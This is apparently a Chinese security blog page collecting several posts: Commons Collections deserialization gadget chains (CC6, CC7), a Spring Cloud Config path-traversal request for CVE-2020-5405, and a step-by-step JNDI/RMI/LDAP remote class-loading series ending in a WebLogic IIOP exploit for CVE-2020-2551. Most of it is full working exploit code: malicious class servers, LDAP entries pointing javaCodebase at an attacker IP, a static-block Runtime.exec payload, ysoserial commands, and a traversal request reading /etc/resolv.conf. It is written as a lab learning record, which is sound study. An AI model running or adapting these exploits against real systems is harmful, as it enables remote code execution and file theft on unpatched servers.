        //取出HashMap对象的成员变量table
        Permit.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
        //取出table里面的第一个Entry
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        //取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Permit.setAccessible(keyField);
        keyField.set(node, entry);
        
        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

万变不离其中,中学数学老师常说的话。即使POC不太一样,最后思路还是一模一样,LazyMap被包裹在了TiedMapEntry里,最后被反射到宿主(HashSet)身上。

CommonsCollections7.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };
        
        /*第二步 寻找受体*/
        Transformer[] fake = new Transformer[]{
                new ConstantTransformer("placeholder"),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
        
        HashMap innerMap1 = new HashMap<String, String>();
        innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
        HashMap innerMap2 = new HashMap<String, String>();
        innerMap2.put("zZ", "1");

        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
        
        /*第三步 病毒填充到宿主。*/
        HashMap hashMap = new HashMap();
        hashMap.put(lazyMap1, "placeholder");
        hashMap.put(lazyMap2, "placeholder");

        // 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了 
        // 清除 hash code
        innerMap1.remove("zZ"); 

        // 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); 
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

和之前6个又不太一样,病毒是在最后反射阶段,宿主都已经构建完成了,再反射进宿主的器官当中。三步走的思路还是适用的。

勤洗手可以预防病毒。

参考:
原理
https://paper.seebug.org/792/
https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/
https://mp.weixin.qq.com/s/XSv3GNkj-23JKl6ccUjxRQ
POC
https://xz.aliyun.com/t/7157
https://www.freebuf.com/articles/web/214096.html

bookmark_borderSpring Cloud Config Serve目录遍历漏洞(CVE-2020-5405)分析

根据https://www.baeldung.com/spring-cloud-configuration 搭环境。其中pom.xml的依赖改为:

  <dependencies>
	    <dependency>
	    <groupId>org.springframework.cloud</groupId>
	    <artifactId>spring-cloud-config-server</artifactId>
	    <version>2.2.0.RELEASE</version>
	</dependency>

	<dependency>
	    <groupId>org.springframework.boot</groupId>
	    <artifactId>spring-boot-starter-web</artifactId>
	    <version>2.2.1.RELEASE</version>
	</dependency>
  </dependencies>

启动项目。根据文章的介绍,查询语句的格式为:

/{application}/{profile}[/{label}]
/{application}-{profile}.yml
/{label}/{application}-{profile}.yml
/{application}-{profile}.properties
/{label}/{application}-{profile}.properties

label是git分支

application 是应用名字

profile 是当前正在使用应用的profile
正常的请求,可以读取git仓库下的任何文件


而问题就出在{label}

先上POC:

GET /config-client/development/master(_)..(_)..(_)..(_)..(_)..(_)..(_)/etc/resolv.conf HTTP/1.1
Host: kali-xps:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hibext_instdsigdipv2=1
Upgrade-Insecure-Requests: 1

通过补丁https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0 定位到需在

spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java

下断点

debug

发送payload:

可以看到以uri中的/为边界,分别获取到了 application profile 和 label。
resolveLabel()方法将 label中的(_)替换为了/

跟进 resolveLabel()方法:

仅仅是判断非空且包含(_)就替换为/

所以label部分跨目录时不能出现/ ,否则/右边的部分就视为git 仓库下的文件了。

label右边出现第一个 / 符号后的内容 全放在path里。
通过application 和 profile 获取到仓库地址后 ,简单的拼上经过转换过的label的地址,后面加个/
拼接后
之后会再尝试进行多次拼接,把所有可能的组合形式都尝试一遍。比如在文件后加-development.conf判断存不存在
不过已经无关紧要了 我们构造的poc的文件是存在的

文件存在,跳出循环。

resource变量中存的文件路径
先获取文件内容
但是下面判断了文件有没有后缀名,如果文件没有后缀名
即使读到文件,也会因为获取不到文件名中的 “.” 的位置而返回空

所以这个漏洞只能读取带文件后缀的文件。

补丁的话新增了一个isInvalidEncodedLocation()方法:

判断了路径中有没有”..”

bookmark_borderJAVA远程加载利用学习五:weblogic实践(CVE-2020-2551)

接下来就是用之前的理解去日weblogic,说到底就是让weblogic 执行 InitialContext.lookup()方法,参数是我们提供的恶意ldap服务,然后远程加载恶意代码。

这里 还要继续用《JAVA序列化利用学习四:ldap lookup + javaCodebase 从http加载payload》的部分类。

准备

weblogic用的是12.1.3,Windows平台。192.168.1.217。
攻击还是从kali发起的。192.168.1.99。
HttpServer类不变,启动。
ExportObject里执行的命令换成:

            //exec("gnome-calculator");
            exec("calc");

启动LDAPRefServer。
把LDAPServer2中的javaCodebase的http地址换成kali的IP(192.168.1.99)

        Attribute mod2 = new BasicAttribute("javaCodebase",
                "http://192.168.1.99:8000/");

启动LDAPServer2,向LDAP服务插入数据。
准备好这些,就可以日weblogic了。

攻击

去weblogic里拿:
com.bea.core.repackaged.apache.commons.logging_1.2.1.jar
com.bea.core.repackaged.springframework.pitchfork_1.4.0.0_1-0.jar
com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar
wlclient.jar
这四个包,导入到项目。
先复习一下T3协议的攻击:

package com.hans.weblogicLdapExploit;

import java.util.Hashtable;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;


import javax.ejb.EJBHome;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class WeblogicLdapLookup {
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    public final static String url = "t3://192.168.1.217:7001";
    
    public static void main(String[] args) throws NamingException, ClassNotFoundException {
    	try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
        Context initialContext = new InitialContext(env);

        String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        
        EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
        ejbHome.remove(jtaTransactionManager);
        
    	}catch(Exception e) {
    		System.out.println(e);
    	}
    }
        
}

我不知道EJBHome做什么,我要假装知道EJBHome长什么样:

package javax.ejb;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface EJBHome extends Remote {
    void remove(Handle var1) throws RemoteException, RemoveException;

    void remove(Object var1) throws RemoteException, RemoveException;

    EJBMetaData getEJBMetaData() throws RemoteException;

    HomeHandle getHomeHandle() throws RemoteException;
}

关于 JtaTransactionManager 的利用链,https://paper.seebug.org/1091/#jndildap 有详细的说明。
该利用方式适合没打补丁的weblogic:

由于后续的补丁在T3协议readObject的时候加了黑名单,所以JtaTransactionManager 的利用链在打上补丁的weblogic就失效了。

CVE-2020-2551

在2020年年初的时候爆出来 使用iiop协议可以绕过限制(CVE-2020-2551),造成远程代码执行 https://qiita.com/shimizukawasaki/items/7e01401a706900435591
然后我在这遇到一个巨坑!卡了我好久。
我一开始用的wlthint3client.jar包,结果利用IIOP协议的时候一直报
weblogic.jndi.WLInitialContextFactory Unknown protocol IIOP
找了好久才发现用的是t3的client包(wlthint3client.jar)!奶奶的。
去weblogic里拿个wlclient.jar换进来就好了。

对前面的payload稍加修改

package com.hans.weblogicLdapExploit;

import java.util.Hashtable;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

import javax.ejb.EJBHome;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class WeblogicLdapLookup {
	/**/
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    public final static String url = "iiop://192.168.1.217:7001";
    
    public static void main(String[] args) throws NamingException, ClassNotFoundException {
    	try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
        Context initialContext = new InitialContext(env);
        
        String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        
        EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
        ejbHome.remove(jtaTransactionManager);     
        
    	}catch(Exception e) {
    		System.out.println(e);
    	}
    }
        
}

可远程执行ExportObject的代码。
查看weblogic的错误日志,确实发生在IIOP协议:

由于我没有weblogic的补丁,只是凭现有的信息和知识,猜测,这应该就是CVE-2020-2551的POC。
完全代码放到我的 gitlab

bookmark_borderJAVA远程加载利用学习四:ldap lookup + javaCodebase 从http加载payload

这篇的核心是javaCodebase从外部加载恶意类,但是 是用 javax.naming.Context的lookup方法加ldap协议触发。
但是仅限Oracle JDK 11.0.1、8u191、7u201、6u211之前的JDK,否则需要手动打开属性:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

这里 是引用的 https://paper.seebug.org/1091/#jndildap 的说法,但是jdk 7 最高只到了80,因此 7u201、6u211 这两个可能不对,仅供参考。我在jdk8u172和jdk8u20都测试通过了。

下面上测试代码。

恶意的HTTP Server

用于感染的服务通过javaCodebase从这里加载恶意的外部类。
http server:

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

恶意的类:

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
                // run command on kali
                exec("gnome-calculator");
                // run command on windows
                //exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

启动com.hans.httpServer.HttpServer 即可通过 curl “http://localhost:8000/com/hans/remoteClass/ExportObject.class” 请求到恶意类。

LDAP服务

先开一个正常的LDAP服务:

package com.hans.ldapServer;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) throws IOException {
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);

            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

再向ldap服务插入数据:

package com.hans.ldapServer;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.rmi.RemoteException;
import java.util.Hashtable;

/*
 * It works for LdapLookupPayload.java
 * */

public class LDAPServer2 {
    public static void main(String[] args) throws NamingException, RemoteException {
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        DirContext ctx = new InitialDirContext(env);

        Attribute mod1 = new BasicAttribute("objectClass", "top");
        mod1.add("javaNamingReference");

        Attribute mod2 = new BasicAttribute("javaCodebase",
                "http://127.0.0.1:8000/");
        Attribute mod3 = new BasicAttribute("javaClassName",
                "PayloadObject");
        Attribute mod4 = new BasicAttribute("javaFactory", "com.hans.remoteClass.ExportObject");


        ModificationItem[] mods = new ModificationItem[]{
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
        };
        ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
    }
}

受感染的Client

package com.hans.weblogicLdapExploit;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapLookupPayload {
    public static void main(String[] args) throws NamingException {
        // 最新的JDK需开启这个属性
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        Context ctx = new InitialContext();
        Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=hans,ou=employees,dc=example,dc=com");
    }
}
  1. 启动 HttpServer
  2. 启动LDAPRefServer
  3. 启动LDAPServer2向LDAP Server注入数据
  4. 启动LdapLookupPayload 触发漏洞。

可以看到 InitialContext()初始化出来的Content对象,在受影响的jdk中,是存在漏洞的,若lookup的参数可受用户控制,可以造成远程代码执行。
请参考 https://paper.seebug.org/1091/#jndildap 该文章的内容。

bookmark_borderJAVA远程加载利用学习三:JNDI Reference+RMI攻击向量

这一篇的重点还是远程加载。
运行环境,JDK 8u113以前的版本。之后的版本默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
JNDI注入最开始起源于野外发现的Java Applets 点击播放绕过漏洞(CVE-2015-4902),它的攻击过程可以简单概括为以下几步:

  1. 恶意applet使用JNLP实例化JNDI InitialContext
  2. javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
  3. 恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为:java.naming.provider.url = rmi://attacker-server/Go
  4. 在InitialContext初始化期间查找rmi//attacker-server/Go,攻击者控制的注册表将返回JNDI引用 (javax.naming.Reference)
  5. 服务器从RMI注册表接收到JNDI引用后,它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回 JNDI所引用的对象的新实例
  6. 由于攻击者控制了工厂类,因此他可以轻松返回带有静态变量的类初始化程序,运行由攻击者定义的任何Java代码,实现远程代码执行

创建一个http server

com.hans.httpServer.HttpServer

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

在http服务上放一个恶意的类

com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

    

	/**
	 * 
	 */
	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
            exec("gnome-calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类并运行。

恶意的RMI Server

com.hans.JNDIReference.RMIServer

package com.hans.JNDIReference;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建Registry
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "com.hans.remoteClass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

受害的Client

com.hans.JNDIReference.RMIClient

package com.hans.JNDIReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//      Properties env = new Properties();
//      env.put(Context.INITIAL_CONTEXT_FACTORY,
//              "com.sun.jndi.rmi.registry.RegistryContextFactory");
//      env.put(Context.PROVIDER_URL,
//              "rmi://localhost:9999");
      Context ctx = new InitialContext();
      DirContext dirc = new InitialDirContext();
      ctx.lookup("rmi://localhost:9999/refObj");
  }
}

1.先启动HttpServer
2.在启动RMIServer
3.最后启动RMIClient

当请求RMI服务上的对象时,也就是InitialContext().lookup(),会同时请求恶意服务器上的Reference类,并加载恶意http服务上的com.hans.remoteClass.ExportObject.class恶意类,导致远程代码执行。InitialContext().lookup()是关键。后面weblogic漏洞的触发也是在这个函数方法上。

bookmark_borderJAVA远程加载利用学习二:lookup LDAP 利用

这节引入了 LDAP服务。通过JNDI (Java Naming and Directory Interface) 来lookup LDAP服务,造成加载远程类。

恶意的LDAP服务

创建一个LDAP服务:
com.hans.ldapServer.LDAPRefServer

package com.hans.ldapServer;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main(String[] args) throws IOException {
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);

            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

向LDAP服务注入恶意Object:
package com.hans.ldapServer.LDAPServer1

package com.hans.ldapServer;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.ModificationItem;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.Hashtable;

public class LDAPServer1 {
    public static void main(String[] args) throws NamingException, IOException {
    	System.out.println("Working Directory = " +
                System.getProperty("user.dir"));
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        DirContext ctx = new InitialDirContext(env);

		// 暂时没用上
        String javaCodebase = "http://127.0.0.1:8000/";


        byte[] javaSerializedData = Files.readAllBytes(new File("resources/Jdk7u21_calc.ser").toPath());

        BasicAttribute mod1 = new
                BasicAttribute("javaCodebase", javaCodebase);
        BasicAttribute mod2 = new
                BasicAttribute("javaClassName", "DeserPayload");
        BasicAttribute mod3 = new BasicAttribute("javaSerializedData",
                javaSerializedData);
        ModificationItem[] mods = new ModificationItem[3];
        mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
        mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
        mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
        ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
    }
}

ysoserial生成一个payload,放到resources目录下:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser

受感染的 Service

com.hans.weblogicLdapExploit.Payload

package com.hans.weblogicLdapExploit;

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;

import java.util.Hashtable;

public class Payload  {

    public final static String JNDI_FACTORY = "com.sun.jndi.ldap.LdapCtxFactory";
    public final static String url = "ldap://localhost:1389";
    public static void main(String[] args) throws Exception {
    	/*
		    原子名是一个简单、基本、不可分割的组成部分
		    绑定是名称与对象的关联,每个绑定都有一个不同的原子名
		    复合名包含零个或多个原子名,即由多个绑定组成
		    上下文是包含零个或多个绑定的对象,每个绑定都有一个不同的原子名
		    命名系统是一组关联的上下文
		    名称空间是命名系统中包含的所有名称
		    探索名称空间的起点称为初始上下文
		    要获取初始上下文,需要使用初始上下文工厂
    	 * */
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);

        DirContext ctx = new InitialDirContext(env);
	    
        Object local_obj = ctx.lookup("uid=hans,ou=employees,dc=example,dc=com");
    }
}

为了触发漏洞,这个受感染的Service必须要用JDK7U21及其以下版本的JDK。
除了LDAP,这些对象还可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA)或域名服务(DNS)。
360最近正好有研究CORBA :

https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558

bookmark_borderJAVA远程加载利用学习一:恶意的RMI Server

2020年 年初的时候,Weblogic爆出了一个漏洞CVE-2020-2551,说是 IIOP协议存在反序列化漏洞,可RCE(https://qiita.com/shimizukawasaki/items/7e01401a706900435591 )。
由于当时水平有限,对JAVA 序列化的理解,仅停留在ysoserial生成payload,readObject()一下就能触发RCE。
网上也没有POC,只能深入学习一下。
有幸拜读了前辈们的总结心得:

  1. https://paper.seebug.org/1012
  2. https://paper.seebug.org/1091

受益良多。也算是对JAVA的序列化利用有了新的认识。
内容较多,且内容深度急剧下降,对新手很难掌握。
《JAVA序列化利用学习》这个系列算是抽丝剥茧,一步一步由浅入深,理解CVE-2020-2551是怎么回事。
建议先把前辈的两篇文章按顺序读两遍。理论知识基础全部来自这里两篇文章。

本系列的代码全部摘自前辈的github:

https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms

前辈的github里有很多去weblogic Lookup对象的例子这里就不拿出来了,比较简单,可以跑跑看。
注意的是需要去Weblogic中拿 wlclient.jar 导入到项目。

第一个项目

可以在eclipse中创建maven项目来测试这些代码。
环境:JDK6u29 KaliLinux Eclipse
先用ysoserial生成RCE的序列化流文件:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser

Server端项目

1.先创建一个恶意类:
com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
